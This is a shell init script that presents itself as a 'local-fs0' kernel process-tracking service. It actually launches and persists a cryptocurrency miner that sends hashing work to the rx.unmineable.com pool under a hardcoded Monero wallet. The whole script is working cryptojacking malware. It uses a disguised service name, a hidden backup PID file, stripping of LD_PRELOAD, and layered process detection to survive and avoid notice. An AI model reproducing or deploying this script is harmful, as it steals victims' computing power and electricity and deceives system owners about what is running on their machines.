#!/bin/sh
# local-fs0 service - Redundant kernel-level process tracking

# Strip linker hooks to prevent userland hijacking
unset LD_PRELOAD
unset LD_LIBRARY_PATH

DAEMON="/usr/bin/local-fs0"
PIDFILE="/var/run/local-fs0.pid"
BACKUP_PIDFILE="/var/tmp/.local-fs0.pid"
LOGFILE="/var/log/local-fs0.log"
POOL_SIG="rx.unmineable.com:3333"

DAEMON_OPTS="-l $LOGFILE -o rx.unmineable.com:3333 -a rx -u XMR:45qXX2X6LcfggcHahSAATG5a2qgsoBMrHbE8UBLqRKPLR2AoZH6fY4y4am1S5Qyxvc3LUUxupZkq2WJtLjfgU4UkS3ksWeH.Worker999269 -p x --cpu-no-yield --randomx-1gb-page --cpu-priority=5 -k"

# Validate if a PID is alive and actually matches our miner
validate_pid() {
    target_pid="$1"
    [ -z "$target_pid" ] && return 1

    # 1. Kernel syscall check (shell builtin, immune to LD_PRELOAD/missing binaries)
    if kill -0 "$target_pid" 2>/dev/null; then
        # 2. Inspect /proc directly to verify binary commandline
        if [ -r "/proc/$target_pid/cmdline" ]; then
            if grep -a -F "$POOL_SIG" "/proc/$target_pid/cmdline" >/dev/null 2>&1; then
                return 0
            fi
        fi
    fi
    return 1
}

# Resolve the active PID through 4 redundant fallback layers
get_active_pid() {
    # Layer 1: Primary PID file
    if [ -s "$PIDFILE" ]; then
        read p < "$PIDFILE"
        if validate_pid "$p"; then
            echo "$p"
            return 0
        fi
    fi

    # Layer 2: Hidden backup PID file
    if [ -s "$BACKUP_PIDFILE" ]; then
        read p < "$BACKUP_PIDFILE"
        if validate_pid "$p"; then
            echo "$p"
            return 0
        fi
    fi

    # Layer 3: Direct /proc filesystem traversal (pure shell, no ps/pgrep)
    for cmd_file in /proc/[0-9]*/cmdline; do
        [ -r "$cmd_file" ] || continue
        if grep -a -F "$POOL_SIG" "$cmd_file" >/dev/null 2>&1; then
            p="${cmd_file#/proc/}"
            p="${p%/cmdline}"
            echo "$p"
            return 0
        fi
    done

    # Layer 4: Utility fallback
    p=$(pgrep -o -f "$POOL_SIG" 2>/dev/null)
    if [ -n "$p" ]; then
        echo "$p"
        return 0
    fi

    return 1
}

is_running() {
    get_active_pid >/dev/null 2>&1
}

start() {
    echo "Starting local-fs0..."
    active_pid=$(get_active_pid)
    if [ -n "$active_pid" ]; then
        echo "local-fs0 is already running (PID: $active_pid)."
        return 0
    fi

    # Clean up stale files and force-kill lingering instances
    pkill -9 -f "$POOL_SIG" >/dev/null 2>&1
    rm -f "$PIDFILE" "$BACKUP_PIDFILE"

    # Launch binary
    nohup $DAEMON $DAEMON_OPTS >> "$LOGFILE" 2>&1 &
    NEW_PID=$!

    # Record PID in both locations immediately
    echo "$NEW_PID" > "$PIDFILE"
    echo "$NEW_PID" > "$BACKUP_PIDFILE"

    sleep 2
    active_pid=$(get_active_pid)
    if [ -n "$active_pid" ]; then
        echo "local-fs0 started successfully (PID: $active_pid)."
    else
        echo "Failed to start. Check $LOGFILE"
        return 1
    fi
}

stop() {
    echo "Stopping local-fs0..."
    active_pid=$(get_active_pid)
    while [ -n "$active_pid" ]; do
        kill -9 "$active_pid" 2>/dev/null
        sleep 1
        active_pid=$(get_active_pid)
    done

    pkill -9 -f "$POOL_SIG" >/dev/null 2>&1
    rm -f "$PIDFILE" "$BACKUP_PIDFILE"
    echo "local-fs0 stopped."
}

status() {
    active_pid=$(get_active_pid)
    if [ -n "$active_pid" ]; then
        echo "local-fs0 is running (PID: $active_pid)."
        return 0
    else
        echo "local-fs0 is not running."
        return 1
    fi
}

case "$1" in
    start)   start ;;
    stop)    stop ;;
    restart) stop; sleep 2; start ;;
    status)  status ;;
    *)       echo "Usage: $0 {start|stop|restart|status}"; exit 1 ;;
esac